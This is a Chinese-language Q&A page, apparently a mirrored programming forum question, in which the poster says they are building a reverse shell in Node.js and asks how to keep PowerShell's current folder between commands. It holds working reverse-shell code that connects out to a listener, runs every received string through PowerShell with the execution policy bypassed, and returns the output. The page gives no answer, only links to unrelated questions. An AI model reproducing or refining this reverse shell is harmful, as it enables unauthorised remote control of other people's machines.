javascript - 将位置(文件夹)从 powershell 保存到 nodejs
问题描述
我在nodejs中做一个反向shell,它很好......但是有一个问题它无法从powershell保存当前位置,所以我吸进了脚本所在的文件夹,你可以在这个打印上看到netcat:https ://prnt.sc/14rm1yq
var client = new net.Socket();
client.connect(2005, '192.168.1.64', function() {
console.log('Connected');
client.write('Boas mpt, pelos vistos temos uma shell');
client.write('\n');
});
client.on('data', function(data) {
console.log('Shell disse: ' + data);
const shell = require('node-powershell');
let ps = new shell({
executionPolicy: 'Bypass',
noProfile: true
});
var buf = Buffer.from(data);
var shellHe = buf.toString()
ps.addCommand(shellHe)
ps.addCommand("Get-Location")
ps.invoke().then(output => {
client.write(output);
}).catch(err => {
client.write(err);
ps.dispose();
});
});
client.on('close', function() {
console.log('Connection closed');
});```
解决方案
推荐阅读
- css - 带有 asp.net web.sitemap 的 Bootstrap 4 导航栏;如何去除这些点?
- restcomm - 非本地 dpc=1111 的传入 Mtp3 消息。但是没有找到 RemoteSpc
- eclipse - 日食光子视图中的奇怪内容
- python - Numpy 性能 - 向量与其转置的外积
- post - CSRF 令牌验证失败:Retrofit Post
- android - 使用 Theme.MaterialComponents 代替 Theme.AppCompat 有什么好处?
- python - 增强 RabbitMQ 库 pika 的可靠性或有更好的选择
- php - Doctrine - 代理实体未正确更新
- java - Spring boot Check Dto Format 有两种模式
- flutter - 如何布局一个Container,我不知道W&H